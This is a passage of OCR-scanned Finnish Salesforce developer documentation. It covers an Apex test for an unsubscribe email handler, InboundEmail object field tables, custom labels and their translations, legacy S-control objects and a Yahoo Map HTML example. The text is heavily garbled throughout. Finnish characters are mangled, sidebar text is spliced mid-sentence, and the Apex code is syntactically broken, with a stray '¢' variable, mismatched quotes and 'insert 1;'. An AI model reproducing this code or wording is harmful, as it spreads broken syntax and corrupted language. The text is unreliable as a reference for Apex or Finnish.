lastName="'smith',
Company="'Salesforce',
Email="user@acme.com',
HasOptedOutOfEmail=false);

insert 1;

// Create a new test contact and insert it in the test method.

Contact ¢ = new Contact (firstName='john',

lastName="'smith',

Email='user@acme.com',

HasOptedOutOfEmail=false);
insert c;

// Test with a subject that does not contain "unsubscribe."

email.subject = 'test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe () ;

unsubscribeObj.handleInboundEmail (email,

InboundEmail-objekti

InboundEmail-objektilla on seuraavat kentét.

Nimi Tyyppi
binaryAttachments InboundEmail.BinaryAttachment(]
ccAddresses Merkkijonol]

fromAddress Merkkijono
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env );

Kuvaus

Luettelo mahdollisista séhkdpostin mukana
vastaanotetuista binaarisista liitetiedostoista.

Binaarisia liitetiedostoja ovat esimerkiksi kuva-, dani-,
sovellus- ja videotiedostot.

Luettelo mahdollisista kopion vastaanottajien osoitteista
(CO.

Sahkopostiosoite, joka nakyy Lahettdja-kentdssa.
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Nimi
fromName

headers

htmlBody

htmlBodyIsTruncated

inReplyTo

messageld
plainTextBody

plainTextBodyIsTruncated

references

replyTo

subject

textAttachments

toAddresses

Tyyppi
Merkkijono

InboundEmail.Header(]

Merkkijono

Totuusarvo

Merkkijono

Merkkijono
Merkkijono

Totuusarvo

Merkkijonol]

Merkkijono

Merkkijono

InboundEmail TextAttachment(]

Merkkijonol]

107

Apex-, Visualforce- ja Lightning-komponentit

Kuvaus
Nimi, joka mahdollisesti nakyy Ldhettdja-kentassa.

Luettelo sahkopostin RFC 2822 -otsikoista, esimerkiksi:
e |ahettdjd

e Mukautetut otsikot

e \Viestin tunnus

e Paivays

Séhképostin HTML-versio, jos ldhettdja on maarittanyt sen.

Osoittaa, onko HTML-o0sa lyhennetty (t rue joson, ja
false,jos ei).

Saapuvan sahkopostin Vastaa -kenttd. Maarittda
sahkdpostiosoitteen tai -osoitteet, joihin vastataan
(padsahkopostit). Sisaltaa paasahkopostin tai -sahkpostien
viestitunnukset.

Viestitunnus — saapuvan séhképostin yksildiva tunniste
Sahkopostin tekstiversio, jos ldhettdjd on madrittanyt sen.

Osoittaa, onko tekstiosa lyhennetty (true joson, ja
false,jos ei).

Saapuvan sdhkdpostin Viitteet-kenttd. Tunnistaa
sahkdpostijoukon. Sisaltad luettelon padsahkopostien
viitteistd ja viestitunnuksista, ja mahdollisesti Vastaa-kenttia.

Sahkopostiosoite, joka ndkyy vastausosoite-otsikossa.

Jos vastausosoite-otsikkoa ei ole, tdma kenttd on sama kuin
fromAddress-kentta.

Séhkopostin aiherivi.

Luettelo mahdollisista séhkdpostin mukana
vastaanotetuista tekstiliitetiedostoista.

Tekstitiedostot voivat olla
e liitetiedostoja, joiden Multipurpose Internet Mail
Extension (MIME) -tyyppi on text

e liitetiedostoja, joiden MIME-tyyppi on
application/octet-stream jajoiden
tiedostonimessd on padte .vcf tai .ves. Nama
tallennetaan MIME-tyyppeind text/x-vcard ja
text/calendar

Sahképostiosoite, joka ndkyy Vastaanottaja-kentdssa.
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InboundEmail. Header-objekti

InboundEmail-objekti tallentaa sahkopostin RFC 2822 -otsikkotiedot InboundEmail Header-objektiin, jolla on seuraavat kentét.

Nimi Tyyppi Kuvaus
name Merkkijono Otsikkoparametrin nimi, esim. Date tai Message-1ID.
value Merkkijono Otsikon arvo.

InboundEmail.BinaryAttachment-objekii
InboundEmail-objekti tallentaa binaariset liitetiedostot InboundEmail BinaryAttachment-objektiin.
Binaarisia liitetiedostoja ovat esimerkiksi kuva-, dani-, sovellus- ja videotiedostot.

InboundEmail BinaryAttachment-objektilla on seuraavat kentét.

Nimi Tyyppi Kuvaus

body Blob Liitetiedoston tekstiosa.
fileName Merkkijono Liitetiedoston nimi.
mimeTypeSubType Merkkijono Paa- ja ala-MIME-tyyppi.

InboundEmail. TextAttachment-objekti

InboundEmail-objekti tallentaa tekstiliitetiedostot InboundEmail. TextAttachment-objektiin.
Tekstitiedostot voivat olla

e liitetiedostoja, joiden Multipurpose Internet Mail Extension (MIME) -tyyppi on text

e liitetiedostoja, joiden MIME-tyyppion application/octet-stream jajoiden tiedostonimessd on pddte .vcf tai .vcs.
Ndmad tallennetaan MIME-tyyppeind text/x-vcard ja text/calendar.

InboundEmail. TextAttachment-objektilla on seuraavat kentat.

Nimi Tyyppi Kuvaus

body Merkkijono Liitetiedoston tekstiosa.

bodyIsTruncated Totuusarvo Osoittaa, onko liitteen tekstiosa lyhennetty (true joson, ja false, jos ei).
charset Merkkijono Tekstiosan alkuperdinen merkistd. Tekstiosa koodataan uudelleen muodossa UTF-8

syotteeksi Apex-metodille.
fileName Merkkijono Liitetiedoston nimi.

mimeTypeSubType Merkkijono P&a- ja ala-MIME-tyyppi.

InboundEmailResult-obijekti

InboundEmailResult-objektia kdytetddn sahkopostipalvelun tuloksen palauttamiseen. Jos objekti on tyhja (null), tuloksen odotetaan
olevan onnistunut. InboundEmailResult-objektilla on seuraavat kentat.
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Nimi Tyyppi
success Totuusarvo
message Merkkijono

InboundEnvelope-objekti

Apex-, Visualforce- ja Lightning-komponentit

Kuvaus

Arvo, joka iimaisee, onnistuiko sahkopostin kasittely.

Josarvoon false, Salesforce hylkdd saapuvan sahképostin ja ldhettad
alkuperdiselle Idhettdjélle Viesti-kentdssd mddritetyn viestin sisdltavan
vastauksen.

Viesti, jonka Salesforce palauttaa vastaussédhkopostin tekstiosassa. Tata kenttdd ei
voi tayttad tekstilld, joka ei vastaa Success-kentan palauttanutta arvoa.

InboundEnvelope-objekti tallentaa saapuvaan sahkopostiin liittyvat kirjekuoritiedot, ja silld on seuraavat kentét.

Nimi Tyyppi
toAddress Merkkijono
fromAddress Merkkijono
KATSO MYOS:

Mitd ovat sahkdpostipalvelut?

Apex Code -yleiskatsaus

Kuvaus
Nimi, joka mahdollisesti nakyy kirjekuoren Vastaanottaja-kentdssa.

Nimi, joka mahdollisesti nakyy kirjekuoren Lahett&a-kentdssa.
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Mukautetut otsikot

Mukautetut otsikot

Mukautetut otsikot ovat mukautettuja tekstiarvoja, joita voi kayttdd Apex-luokista, Visualforce-sivuista
tai Lightning-komponenteista. Namé arvot voidaan kdantaa mille tahansa kielelle, jota Salesforce

tukee. Mukautettujen otsikoiden avulla kehittdjat voivat luoda monikielisid sovelluksia esittamalla
automaattisesti tietoja (kuten ohjeteksteja tai virhesanomia) kdyttdjan didinkielelld.

Voit luoda enintadn 5000 mukautettua otsikkoa organisaatiollesi, ja ne voivat olla enintddn 1000
merkkia pitkid. Hallittavista paketeista saatuja mukautettuja otsikoita ei lasketa tdhan rajoitukseen.

Tarkastele mukautettuja otsikoita kirjoittamalla Maaritykset-valikon Pikahaku-kenttdan
Mukautetut otsikot javalitsemalla Mukautetut otsikot. Talla sivulla voit tehdd seuraavat
toimet.

e Uuden mukautetun otsikon luominen tai aiemmin luodun mukautetun otsikon muokkaaminen.

e Aiemmin luodun mukautetun otsikon tarkasteleminen. Voit luoda tai muokata kddnnosta
organisaatiosi kdyttamalla kielelld tarkastelusivulta.

Mukautetun otsikon lisadminen sovellukseesi:
1. Luo mukautettu otsikko.
2. Kadnna otsikon arvot sovelluksesi tukemille kielille.
3. Kaytd otsikkoa.
e Kdytd Apexissa syntaksia System.Label.Otsikon nimi.

e Kaytd Visualforcessa ja Lightning-komponenteissa globaalia muuttujaa $Label.

4. Sisdllytd otsikko sovellukseen, kun paketoit sen AppExchange-kayttda varten.

o Vihje: Jos mukautetulla otsikolla on kaannoksia, sisallyta ne pakettiin pakkaamalla
haluamasi kielet erikseen.

KATSO MYOS:

Mukautettujen otsikoiden luominen ja muokkaaminen

110

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissa Developer
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition- ja
Unlimited -versioissa

KAYTTJAOIKEUDET

Mukautettujen otsikoiden

luominen, muokkaaminen

ja poistaminen:

e Sovelluksen
mukautusoikeus

Kaannoksen luominen tai

korvaaminen:

e Kaanndosten
hallintaoikeus

TA

Nayta asetukset ja
madritykset ja tule
maddritetyksi kaantdjaksi
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Mukautettujen otsikoiden luominen ja muokkaaminen

Luo mukautettuja otsikoita, joihin voit viitata Apex-luckista, Visualforce-sivuista tai
Lightning-komponenteista tehddksesi sovelluksestasi monikielisen.

1.

Kirjoita Maaritykset-valikon Pikahaku-kenttddn Mukautetut otsikot javalitse
Mukautetut otsikot.

Luo otsikko napsauttamalla Uusi mukautettu otsikko. Jos haluat muokata mukautettua
otsikkoa, napsauta sen vierestd Muokkaa.

Kirjoita Lyhyt kuvaus -tekstiruutuun helposti tunnistettava termi tdman mukautetun otsikon
tunnistamiseksi. Kuvausta kdytetaan yhdistamiskentissa.

@ Nofe: Etvoi muuttaa olemassa olevan mukautetun otsikon kielta.

Jos olet luomassa mukautettua otsikkoa: Syota Nimi-tekstikenttdan otsikon kayttdma nimi. Tata
arvoa kaytetdan Apex- ja Visualforce-sivuilla viittamaan mukautettuun otsikkoon. Nimet voivat
sisdltad vain aakkosnumeerisia merkkejd, niiden alussa on oltava kirjain, niissd ei saa olla
vdlilydnteja tai kaksoisalaviivoja ja niiden on oltava yksildllisia kaikkien muiden organisaation
otsikoiden joukossa.

. Jos haluat merkita mukautetun otsikon suojatuksi, valitse Suojattu komponentti..

6. Syota Luokat-kenttadn otsikon kategoria. Tdta kenttdd voi kdyttda suodatinehdoissa luotaessa
mukautettujen otsikoiden luettelondkymid. Erota luokat toisistaan pilkulla. Luokat-tekstiruutuun
kirjoitettavien merkkien enimmaismaddra on 255.

7. Kirjoita Arvo-tekstiruutuun korkeintaan 1 000 merkin teksti. Témd arvo voidaan kaantaa mille
tahansa Salesforcen tukemalle kielelle.

@ Note: Tahan kenttdan tekemasi muutokset saatetaan ndyttad kayttajille vasta muutaman
minuutin kuluttua.

8. Valitse Tallenna.

KATSO MYOS:

Mukautettujen otsikoiden kddnndsten luominen ja muokkaaminen
Mukautetut otsikot

m
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EDITION-VERSIOT

Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettdvissd Developer
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition- ja
Unlimited -versioissa

KAYTTJAOIKEUDET

Mukautettujen otsikoiden

luominen, muokkaaminen

ja poistaminen:

e Sovelluksen
mukautusoikeus

Kadannoksen luominen tai

korvaaminen:

e Kdanndsten
hallintaoikeus

TAI

Néytd asetukset ja
mddritykset ja tule
madritetyksi kadantajaksi
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Mukautettujen otsikoiden kddnndsten luominen ja muokkaaminen

Mukautettujen otsikoiden kdannokset maarittavat tekstin, joka ndytetdan otsikon arvona, kun EDITION-VERSIOT

kdyttdjan oletuskieli on kadnndskieli.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Mukautetut otsikot javalitse Kaytettavissa: Salesforce
Mukautetut otsikot. Classicissa ja Lightning

. . . Experiencessa
2. Avaa mukautettu otsikko valitsemalla sen nimi. P

Kéytettdvissd Developer
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition- ja

4. Valitse Language, jolle haluat kdantaa. Unlimited -versioissa

3. Syotd uusi kadnnds napsauttamalla kadnndsten liittyvdssa luettelossa kielen vieressd kohtaa
Uusi tai muuta kadnnosta napsauttamalla Muokkaa . Jos napsautat Poista, Salesforce vahvistaa
poiston ja poistaa kddnnoksen mukautetulta otsikolta.

5. Syotd Kaanndsteksti. Tdmd teksti korvaa otsikon Arvo-kenttddn mddritetyn arvon, kun

kayttajan oletuskieli on kadnnoskieli. KAYTTJAOIKEUDET
6. Valitse Tallenna.

Mukautettujen otsikoiden
@ Note: Kun pakkaat sovelluksen, joka kayttaa kddnnettyja mukautettuja otsikoita, siséllytd luominen, muokkaaminen

kiannokset mukaan pakkaamalla haluamasi kielet erikseen. ja poistaminen:
e Sovelluksen

mukautusoikeus

KATSO MYOS: e . .
Kadannoksen luominen tai
Mukautettujen otsikoiden luominen ja muokkaaminen korvaaminen:
Mukautetut otsikot e Kdanndsten
hallintaoikeus
TAI

Néytd asetukset ja
mddritykset ja tule
madritetyksi kadantajaksi
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Mukautettujen otsikoiden tarkasteleminen
Kun olet luonut mukautetun otsikon, voit tehda seuraavaa:

e Muokkaa mukautettua otsikkoa.

@ Note: Etvoi muokata hallitun paketin osana asennettujen mukautettujen otsikoiden
madritteitd. Voit ainoastaan korvata aiemmat kddnnokset tai maarittad uudet kdannokset
kielille, jotka eivdt sisdlly pakettiin.

e Poista mukautettu otsikko.

@ Note: Etvoi poistaa mukautettuja otsikoita, jotka on asennettu osana hallittua pakettia
tai joihin viitataan Apex:issa tai Visualforce-sivulla. Voit ainoastaan korvata aiemmat
kdannokset.

e [uo kadnnos tai muokkaa sitd.

KATSO MYOS:
Mukautettujen otsikoiden luominen ja muokkaaminen
Mukautetut otsikot
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EDITION-VERSIOT

Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettdvissd Developer
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition- ja
Unlimited -versioissa

KAYTTJAOIKEUDET

Mukautettujen otsikoiden

luominen, muokkaaminen

ja poistaminen:

e Sovelluksen
mukautusoikeus

Kadannoksen luominen tai

korvaaminen:

e Kdanndsten
hallintaoikeus

TAI

Nayta asetukset ja
mddritykset ja tule
madritetyksi kadntdjaksi
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Mukautetut S-Control-objektit

Custom S-Control -objektien mddrittdminen

@ Tarkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivét ole EDITION-VERSIOT

kdyttaneet S-control-objekteja ennen, eivét voi luoda niitd. Nykyiset S-control-objektit sdilyvat

entisellddn ja niitd voi yha muokata. Kaytettavissa: Salesforce
Mukautettujen S-control-objektien kirjastoon voi tallentaa ja ladata sisdlt6d, kuten mukautettuja Classicissa
linkkeja, Web-vililehtid, mukautettuja painikkeita ja mittaristoja, joita voi kdyttdd useilla Salesforcen Kaytettdvissd Contact
alueilla. S-control-objektien avulla Salesforce-kdyttoliittyman laajentaminen on joustavaa. Niiden Manager Edition-, Group
avulla on mahdollista esimerkiksi luoda ja nayttaa omia mukautettuja tietolomakkeita. Edition-, Professional

Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

S-Control-objekteihin voidaan liittad mitd tahansa sisaltéd, jota voidaan esittad selaimessa, kuten
Java-sovelmia, ActiveX-ohjausobjekteja, Excel-tiedostoja, mukautettuja HTML Web -lomakkeita.

1. Kirjoita Mddritykset-valikon Pikahaku-kenttddn S-Control-objektit javalitse Developer Edition
S-Control-objektit. -versioissa

2. Joshaluatluoda uuden mukautetun S-Control-objektin, napsauta Uusi mukautettu S-Control.

3. Voit muuttaa olemassa olevaa mukautettua S-Control-objektia napsauttamalla Muokkaa. KAYTTJAOIKEUDET

4. Syotd s-control-objektin madritteet. Custom S-Control -objektien

5. Voit vahvistaa kaikki Salesforce-yhdistamiskentat ja -funktiot napsauttamalla Tarkista syntaksi. luominen, muokkaaminen

. ' . o . ja poistaminen:

6. Kunolet val'm|s, napsauta Tallenna, tai napsauta Pikatallennus tallentaaksesi ja jatkaaksesi o Sovelluksen

muokkaamista. mukautusoikeus

7. Voit luoda mukautetun painikkeen tai linkin, jos haluat ndyttdd mukautetun s-control-objektin
kdyttdjille. Voit mys luoda Web-vililehden kdyttdmalld mukautettua s-control-objektia ja lisata
s-control-objektin sivuasetteluun tai mittaristoon. S-Control-objektia voi myds kdyttda mukautetun objektin online-ohjeena.

KATSO MYOS:
Tietoja s-control-objekteista
S-Control-objektien tarkasteleminen ja muokkaaminen

Hydodylliset s-control-objektit

Tietoja s-control-objekteista

@ Tarkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivét ole EDITION-VERSIOT

kdyttaneet s-control-objekteja ennen, eivat voi luoda niitd. Nykyiset s-control-objektit sdilyvat

entiselldan ja niita voi yhd muokata. Kaytettavissa: Salesforce
Kayta s-control-objekteja lisdtaksesi omia toimintojasi Salesforce-organisaatioon. Tallenna Classicissa
s-control-objekteihin omaa koodiasi ja viittaa siihen muualla integroidaksesi itse isanndimasi Kaytettdvissd: Contact
sovelluksen tai laajentaaksesi nykyista Salesforce-kdyttoliittymadsi. Manager Edition-, Group

Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa
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Mukautettuihin s-control-objekteihin voidaan liittad mitd tahansa sisaltdd, jota voidaan esittdd selaimessa, esimerkiksi Java-sovelmia,
Active-komponentteja, Excel-tiedostoja tai mukautettuja HTML-Web-lomakkeita.

KATSO MYOS:
Custom S-Control -objektien maarittdminen
Hydodylliset s-control-objektit

Visualforce-sivujen ja S-Controls-objektien vertaileminen.

Force.com AppExchange -pakettien s-control-objekteissa huomioitavia asioita

Jos olet kehittamdssa s-control-objekteja sisdltavia Force.com AppExchange -paketteja tai suunnittelet s-control-objekteja sisaltavan
AppExchange-paketin asentamista, ota huomioon seuraavat rajoitukset:

e Kehitettavana oleviin (ei siis AppExchange-palvelusta asennettuihin) paketteihin voi lisdta s-control-objekteja vain API-kdyton
oletusasetuksella Rajoittamaton. Kun paketti sisdltdd s-control-objektin, API-kdyttdoikeutta Rajoitettu eivoiottaa
kayttoon.

e Voit ottaa kdyttooikeusrajoituksia kayttdon asentamissasi paketeissa, vaikka paketti sisaltdisi s-control-objekteja. Kayttdoikeus antaa
kuitenkin vain rajallisen suojan s-control-objekteille. Salesforce suosittelee, ettd ymmarrat s-control-objektin sisaltdman JavaScriptin
ennen kayttorajoituksen madrittamista s-control-objektien suojaukseen.

e Josasennetun paketin API-kdyttdoikeus on Rajoitettu, paivitykset onnistuvat vain, jos paivitetty versio ei sisdlld s-control-objekteja.
Jos paivitetyssa versiossa on s-control-objekteja, asennetun paketin API-kdyttdoikeudeksi on valittava Rajoittamaton.

S-Control-objektien tarkasteleminen ja muokkaaminen

@ Tdrkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivat ole EDITION-VERSIOT
kayttaneet S-control-objekteja ennen, eivat voi luoda niitd. Nykyiset S-control-objektit sdilyvat

entiselldan ja niita voi yha muokata. Kaytettavissa: Salesforce
Jos haluat tarkastella mukautetun S-Control-objektin lisdtietoja, kirjoita Maaritykset-valikon Classicissa
Pikahaku-kenttddn S-Control-objektit, valitse S-Control-objektit ja napsauta Kaytettavissd Contact
S-Control-objektin nimea. Manager Edition-, Group

Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,

e Voit tehda muutoksia s-control-objektiin valitsemalla Muokkaa.

e Voit poistaa s-control-objektin valitsemalla Poista.

e Voit tarkastella muiden s-control-objektiin viittaavien Salesforce-komponenttien luetteloa Unlimited Edition- ja
napsauttamalla Missa tata kdytetdan?. Developer Edition
-versioissa

KAYTTJAOIKEUDET

Mukautettujen s-control

-objektien luominen,

muokkaaminen ja

poistaminen:

e Sovelluksen
mukautusoikeus
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Mukautetun S-Control-objektin mddritteet

Madritteen nimi  Kuvaus EDITION-VERSIOT
Otsikko Teksti, joka ndytetadn upotettujen S-Control-objektien sivuasetteluissa. Kaytettdvissa: Salesforce
s T L Classicissa
S-Control-dojektin  S-Control-objektin yksildiva nimi. Tama nimi voi sisaltda vain alaviivoja ja
nimi aakkosnumeerisia merkkejd, ja sen on oltava yksilollinen organisaatiossa. Kaytettdvissd Contact
Sen taytyy alkaa kirjaimella, se ei saa sisdltad valilyonteja eikd se saa loppua Manager Edition-, Group
alaviivaan eikd sisaltaa kahta perakkaista alaviivaa. Edition-, Professional
Edition-, Enterprise Edition-,
Tyyppi Mé&arittad miten aiot kdyttda S-Control-objektia. Performance Edition-,
HTML Unlimited Edition- ja
Valitse tdma vaihtoehto, jos haluat maarittda S-Control-objektin sisallén Deve_loper Edition
Sisalto-alueella. -versioissa
URL

Valitse tdmad vaihtoehto, jos haluat maarittad ulkoisen Web-sivuston
linkin tai URL-osoitteen Sis&lto-alueella.

Koodikatkelma
Koodikatkelmat ovat S-Control-objekteja, jotka on suunniteltu
sisallytettdviksi muihin S-Control-objekteihin. Valitse tama asetus, jos
haluat maarittaa S-Control-objektin koodikatkelman sisallon
Sisalts-alueella.

Kuvaus S-Control-objektia kuvaava teksti. Tdmad teksti on ndkyvilld vain padkayttdjille.

Sisaltd Voit madrittda S-Control-objektin siséllon tai ldhteen. Voit kirjoittaa enintddn
miljoona merkkid. HTML-koodi madrittda tdsmallisesti miten kdyttdjien
tulee tarkastella mukautettua S-Control-objektia.

e Jos olet muodostamassa kaavaa Lisdkaava-valilehdessa tai olet
muodostamassa kaavaa hyvaksynnaille tai saanndille (kuten tyonkulku-,
vahvistus-, kohdistus-, automaattinen vastaus- tai eskalointisaannaille),
napsauta Lisaa kenttd, valitse kenttd ja napsauta sitten Lisaa.

Jos haluat luoda peruskaavan, joka valittda tiettyja Salesforce-tietoja,
valitse Yksinkertainen kaava -vdlilehti, valitse haluamasi kenttétyyppi
Valitse kenttatyyppi -alasvetoluettelosta ja valitse jokin
Lisad kentti -alasvetoluettelossa olevista kentistd.

O Vihje: Laadi objektien ristikkdiskaavat ulottumaan liittyviin
objekteihin ja kyseisten objektien viiteyhdistdamiskenttiin.

e Jos haluat lisata operaattorin, valitse operaattorin kuvake Lis&a
operaattori -alasvetoluettelosta.

e Voit lisatd funktion kaksoisnapsauttamalla luettelossa olevaa funktion
nimed tai valitsemalla funktion ja napsauttamalla Lisaa valittu funktio.
Voit suodattaa funktioluetteloa valitsemalla luokan
Funktiot-alasvetoluettelosta. Voit tarkastella funktiota kdyttavien
kaavojen kuvausta ja esimerkkejd valitsemalla funktion ja
napsauttamalla Funktion ohje.
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Madritteen nimi Kuvaus

e Jos haluat viitata tiedostoon, jonka olet ladannut Tiedostonimi-kenttdan osana mukautettua
S-Control-objektia, valitse Valitse kenttatyyppi -alasvetoluettelosta Mukautettu S-Control
ja valitse Mukautetun S-Control-objektin URL, jotta saat sen yhdistdmiskentdn. Java-sovelmiin on
mahdollista viitata myds { ! Scontrol JavaCodebase }-yhdistdmiskentdlld ja

{!Scontrol JavaArchive}-yhdistdmiskentalla.

e Jos haluat lisata toimintojen yhdistdmiskenttid, valitse Tapahtuma tai Tehtdvd Valitse
kenttatyyppi -alasvetoluettelosta.

O Vihje: Interet-standardit vaativat URL-osoitteiden erikoiskoodausta.Salesforce.com koodaa
linkkiin lisdttyjen yhdistamiskenttien tekstin automaattisesti. Koodaa muu linkkiin tuleva teksti
manuaalisesti. Jos haluat esimerkiksi luoda seuraavan URL-osoitteen:

http://www.google.com/search?g={!user.name} Steve Mark 50%
kirjoita:
http://www.google.com/search?g={!user.name}+Steve+Mark+50%25

Salesforce poistaa tupla-lainausmerkit URL-osoitteista, kun Sis&1lt&lahde on URL Jossinun
tarvitsee kayttaa tupla-lainausmerkkejd, lisdd ne manuaalisesti. Luodaksesi esimerkiksi
URL-osoitteen
http://www.google.com/search?qgq="salesforce+foundation",kirjoita:
http://www.google.com/search?q=%22salesforce+foundation%22.

Tiedostonimi Voit ladata tiedoston, joka ndytetdan, kun lisadt taman mukautetun S-Control-objektin mukautettuun
linkkiin. Tiedosto voi sisaltda Java-sovelman, ActiveX-ohjausobjektin tai muun sisdltdelementin. Tama
vaihtoehto koskee vain HTML-muotoisia S-Control-objekteja.

Koosta valmiiksi Tama vaihtoehto sdilyttdd S-Control-objektin muistissa, mikd saattaa parantaa suorituskykya sivua
sivulla paivitettaessd, koska S-Control-objektia ei tarvitse ladata uudelleen. Tama vaihtoehto koskee vain
HTML-muotoisia S-Control-objekteja.

Koodaus Oletuskoodausasetus on Unicode (UTF-8). Voit muuttaa sitd, jos siirrat tietoja URL-osoitteeseen, joka
edellyttad eri muodossa olevia tietoja. Tdma vaihtoehto on kaytettdvissd, kun valitset
Tyyppi-asetukseksi URL.

KATSO MYOS:
Tietoja s-control-objekteista
Hyodylliset s-control-objektit

Vihjeitd s-control-objektien laatimiseen
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Custom S-Control -objektien poistaminen

@ Tdrkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivat ole
kdyttdneet S-control-objekteja ennen, eivat voiluoda niitd. Nykyiset S-control-objektit sdilyvat
entisellddn ja niitd voi yha muokata.

Voit poistaa custom s-control -objektin seuraavasti.

1. Varmista ensin, ettd muut komponentit eivat kaytd S-control-objektia: Kirjoita Madritykset-valikon
Pikahaku-kenttddn S-Control-objektit, valitse S-Control-objektit, valitse
s-control-objekti ja napsauta Missa tata kaytetaan?.

2. Napsauta S-Control-objektit uudelleen.
3. Voit poistaa custom s-control -objektin valitsemalla Poista-vaihtoehdon objektin vieresta.

4. Vahvista valitsemalla OK.

@ Nofte: Et voi poistaa mukautettua s-control-objektia, joka on kdytdssd jossain muualla
Salesforcessa. Poistetut s-control-objektit eivat siirry roskakoriin.

Vihjeitd s-control-objektien laatimiseen

@ Tdrkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivat ole
kdyttaneet s-control-objekteja ennen, eivat voi luoda niitd. Nykyiset s-control-objektit sdilyvat
entisellddn ja niitd voi yha muokata.

Huomioi alla olevat vihjeet, kun laadit s-control-objekteja:

® Jos luot URL-tyyppisen s-control-objektin, dla valitse Nayta osion otsikko lisatietosivulla
-vaihtoehtoa sivuasettelun osiossa, johon lisdat s-control-objektin. Tama vaihtoehto aiheuttaa
ongelmia joissakin selaimissa pienennettédvien osioiden kanssa.

e Globaalien muuttujien avulla padset kdyttdamdan s-control-objektien, mukautettujen painikkeiden
ja linkkien erityisid yhdistdmiskenttid. Esimerkiksi globaali muuttuja $Request sallii sinun
kdyttaa kyselyn parametreja koodinpdtkdssd, s-control-ohjaimessa tai mukautetussa painikkeessa.

e Kdytds-control-objektissasi { ! SOrganization.UISkin }-yhdistdmiskenttdd hakeaksesi
organisaatiosi valitseman kayttoliittymateeman. Tdman kentdn arvo Theme tarkoittaa Salesforce
Classic -teemaa ja Theme?2 tarkoittaa Salesforce-teemaa.

e S-control-objektit kdyttavat {! ja } merkkeja (joita kdytettiin ennen yhdistamiskenttien
osoittamiseen kaavoissa) lausekkeille, jotka voivat sisdltdd yhden tai useamman yhdistamiskentan,
funktion tai globaalin muuttujan.

e Kun korvaat toimintoa, kdytd argumenttia no override valttydksesi rekursiolta, joka ndkyy
tyhjind kehyksind sivulla.
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EDITION-VERSIOT

Kéytettdvissd: Salesforce
Classicissa

Kdaytettdvissd Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

KAYTTJAOIKEUDET

Custom s-control -objektien

luominen, muokkaaminen

ja poistaminen:

e Sovelluksen
mukautusoikeus

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

KAYTTJAOIKEUDET

Mukautettujen

s-control-objektien

luominen, muokkaaminen

ja poistaminen:

e Sovelluksen
mukautusoikeus
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e Jos haluat lisata toimintojen yhdistdmiskenttid, valitse Tapahtuma tai Tehtdvad Valitse kenttidtyyppi
-alasvetoluettelosta.

KATSO MYOS:
Mukautetun S-Control-objektin madritteet

Custom S-Control -objektien madrittaminen

Hyodylliset s-control-objektit

@ Tarkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivat ole EDITION-VERSIOT
kdyttdneet s-control-objekteja ennen, eivdt voi luoda niitd. Nykyiset s-control-objektit sdilyvat
entiselldan ja niita voi yha muokata. Kaytettavissa: Salesforce

Classicissa

Seuraavat esimerkit auttavat sinut alkuun s-control-objektien kdytossa.

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa

Mukautetut painikkeet ja
linkit ovat kaytettdvissa:
kaikissa versioissa

S-control-objektit ovat
kaytettavissa: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- a
Developer Edition
-versioissa

Vakiopainikkeiden ja
vdlilehtien aloitussivujen
korvaaminen on
kaytettavissd: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-
jo Developer Edition
-versioissa
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Lisatietosivujen s-control-objektit

Yahoo Map

Kayta Yahoo Map APl:a ja laskutusosoitteen yhdistamiskenttid nayttaaksesi tiliin liittyvan kartan. Kayta seuraavaa koodia HTML-tyyppisessa
s-control-objektissa ja lisaa se tilin lisatietosivulle:

<html>

<head>

<script type="text/javascript"

src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">

</script>

<style type="text/css">

#mapContainer ({

height: 200px;

width: 100%;

}

</style>

</head>

<body>

<div id="mapContainer"></div>

<script type="text/javascript">

// Create a map object

var map = new YMap (document.getElementById ('mapContainer'));

// Display the map centered on given address

map.drawZoomAndCenter ("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);

// Set marker at that address

map.addMarker ("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState}, \
{!Account.BillingPostalCode}", 3);

</script>

</body>

</html>

S-control-objektit, jotka korvaavat vakiopainikkeet ja vdlilehtien aloitussivut

Lisad tuote -painikkeen korvaaminen

Sinulla saattaa olla oma koodi, jota haluat kdyttad tuotteiden lisadmiseksi mahdollisuuksiin vakiosivun sijaan. Kaytd alla olevaa
s-control-objektin esimerkkia valittddksesi data-arvoja yhdistamiskentilld tietueen lisdtietosivulta mukautettuun s-control-objektiin, joka
